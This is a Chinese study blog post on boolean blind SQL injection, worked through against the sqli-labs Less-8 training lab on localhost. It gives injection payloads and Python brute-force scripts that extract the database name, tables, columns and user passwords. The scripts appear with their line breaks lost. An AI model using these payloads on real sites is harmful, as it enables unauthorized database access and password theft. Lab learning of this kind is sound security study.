sql注入学习——布尔盲注
前言:之前通过前九关学习到了回显注入、报错注入等一些方法,这次就来详细的学习布尔盲注。
首先来了解一下盲注的概念
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。
布尔盲注
原理:
注入的时候只会返回True和False
,所以布尔盲注就是根据页面显示的是True还是False
进行猜测数据库中的信息。
布尔盲注需要几个函数的辅助,就先来了解一下这几个函数
length()函数可返回字符串的长度
substring()函数可以截取字符串,可指定开始的位置和截取的长度
ord()函数可以返回单个字符的ASCII码
char()函数可将ASCII码转换为对应的字符
具体的用法可以参考大佬的博客Mysql语法介绍,接下来就通过sql-labs练习布尔盲注。
判断注入点(也就是闭合符号)
发现输入id=1'
会报错
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'
在id=1'
后再加上注释符号后又回显正确,所以判定闭合符号为'
爆数据库长度
知道闭合符号后,先来爆一下数据库名的长度,这里就用到上面所说的函数了
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())>1 --+
回显正确
手工注入的话就要一遍一遍的试试,将后面的长度不断增大,最后得出数据库名的长度为8
爆数据库名
知道了数据库名的长度,接下来就来爆破数据库名
Less-8/?id=1' and ord(substr(database(),1,1))>99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) > 99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) = 99 --+
原理都一样,目的就是取出数据库名中的一个字符通过比较ascii码来猜测出数据库名,但是如果手动爆的话太浪费时间了,可以写脚本
,也可以用burp爆破
,这里两种方法都试一下
burp爆破
先抓包
设置变量,这里设置了两个变量所以上面的框中要选第四个选项
第一个变量设置为numbers
1到8,第二个变量也设置为numbers
0到127
分别设置好,然后开始爆破。
不过太慢了,应该是我burp设置的有问题,这里就学习一下这种方法,爆破还是脚本来吧。
附上大佬博客利用burp盲注
脚本爆破
目前脚本还不会写,就参考大佬的学习一下
大佬博客布尔盲注
脚本中一些不太懂的语法就参考下面大佬的博客
Python requests
Python——入门级(定义功能def函数)
格式化输出字符串
import requests
def database_len():for i in range(1,10):url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''payload = '''?id=1' and length(database())>%s''' %i #格式化输出字符串# print(url+payload+'%23')r = requests.get(url+payload+'%23')if 'You are in' in r.text:print(i)else:#print('false')print('database_length:',i)break
database_len()def database_name():name = ''for j in range(1,9):for i in 'sqcwertyuioplkjhgfdazxvbnm':url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)# print(url+'%23')r = requests.get(url+'%23')if 'You are in' in r.text:name = name+iprint(name)breakprint('database_name:',name)database_name()
爆出了数据库名和长度,接下来改payload爆出表名
payload:
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>90 --+
修改一下脚本
import requestsdef table_name():name = ''for j in range(1,9):for i in 'sqcwertyuioplkjhgfdazxvbnm':url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)))=ord('%s')" %(j,i)# print(url+'%23')r = requests.get(url+'%23')if 'You are in' in r.text:name = name+iprint(name)breakprint('table_name:',name)table_name()
通过修改 limit 0,1
来获取其他表名
爆出列名
payload:
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 --+
修改脚本,跑出列名
import requestsdef column_name():name = ''for j in range(1,9):for i in 'sqcwertyuioplkjhgfdazxvbnm':url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),%d,1)))=ord('%s')" %(j,i)# print(url+'%23')r = requests.get(url+'%23')if 'You are in' in r.text:name = name+iprint(name)breakprint('column_name:',name)column_name()
其他的修改limit
后的值即可得出其他的列名
爆值
?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+
脚本还和上面的相同,只不过改下payload,但是这个脚本是有缺陷的,就是在遍历,但是我们赋给i
的字符只有小写的,有可能其他大写的或特殊符号显示不出来,只要加上就行了。但是这样做的话脚本跑的也会很慢,还是好好学习python,写一个更加便捷的。
最后总结一下布尔盲注常用语句
爆数据库长度
?id=1' and (length(database()))>1 --+
爆数据库名
?id=1' and (ascii(substr(database(),1,1)))>1 --+
爆表名
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>1 --+
爆列名
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>1 --+
爆值
?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))>1--+
语句几乎不变,根据需要加以改动即可,这次就先学习布尔盲注,接下来学习时间盲注。
sql注入学习——布尔盲注相关推荐
- sql注入学习——时间盲注
前言:之前通过前九关学习到了回显注入.报错注入.布尔盲注等一些方法,这次就来详细的学习时间盲注. 在上一篇博客中,了解了布尔盲注,其实布尔盲注和时间盲注大致相同,注入原理是一致的,区别就是一个还是有回 ...
- SQL注入学习——Bool盲注详解 sqli-labs(Less 8)
文章目录 前言: 一.Bool盲注常用的函数: 二.Less8 布尔型单引号GET盲注 1.查数据库版本 2.猜解数据库的长度 3.猜数据库名字 4.猜解表名 5.猜解字段名 6.猜解数据 三.脚本注 ...
- SQL注入之布尔盲注——sql-lab第八关
布尔盲注简介 什么是盲注 盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息. [之前在做联合注入第一关的时候,用union select语句注入 ...
- SQL注入学习——时间盲注详解 sqli-labs(Less 9)
文章目录 前言: 一.基础知识 1.时间盲注简介: 2.时间盲注常用的函数: 二.Less9 基于时间的单引号盲注 1.判断数据库名的长度: 2.猜测数据库: 3.判断表名的长度 4.猜测 secur ...
- SQL注入原理-布尔盲注
小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注. 目录 布尔盲注使用的环境 常用函数与语句 substr()函数 ord()函数 length()函数 实战演示 1.判断是否存在注入点 2 ...
- SQL注入之时间盲注 和 报错注入(sql-lab第一关为例)
什么是时间盲注 时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...
- mysql dba盲注_SQL注入学习-Dnslog盲注
1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...
- SQL注入原理-时间盲注
小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注. 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1.判 ...
- web安全入门之SQL注入-时间型盲注
SQL注入之时间型盲注 1.时间型盲注 时间型盲注条件极为苛刻,不管输入什么,WEB页面回显相同的结果,此时我们无法通过报错型注入以及布尔型盲注来爆数据,此时数据在交互完成以后目标网站没有正确和错误的 ...
最新文章
- [动态dp]线段树维护转移矩阵
- 倒下的RoadStar结局来了:VC清盘止损,三位创业者承担1亿债务,打着官司各投林...
- scala------------:: , +:, :+, :::, +++的区别
- 同步vmware虚拟机与宿主机的时间
- [转载] 七龙珠第一部——第130话 悟空的敌人竟是悟空
- 使用固态存储SSD或PCIe卡
- vue.js 常见面试题_使用Vue.js时应避免的常见错误
- 【JSOI2007】【BZOJ1029】建筑抢修(贪心,堆)
- 从OpenStack到OpenInfra
- linux下redis安装教程
- Android :安卓学习笔记之 Handler机制 的简单理解和使用
- Linux默认端口介绍
- Unity3D游戏高性能战争迷雾系统实现
- md5加密依赖工具utility使用小记
- SpringSecurity前后端分离02(授权)
- Git Git用户ssh公钥管理
- node.js+mysql实现分库分表存查数据:
- Java - io输入输出流 --转换流
- 锁屏界面某些设置已由组织隐藏或管理_路由器:安装,设置,更改密码,桥接全攻略...
- 【java】eclipse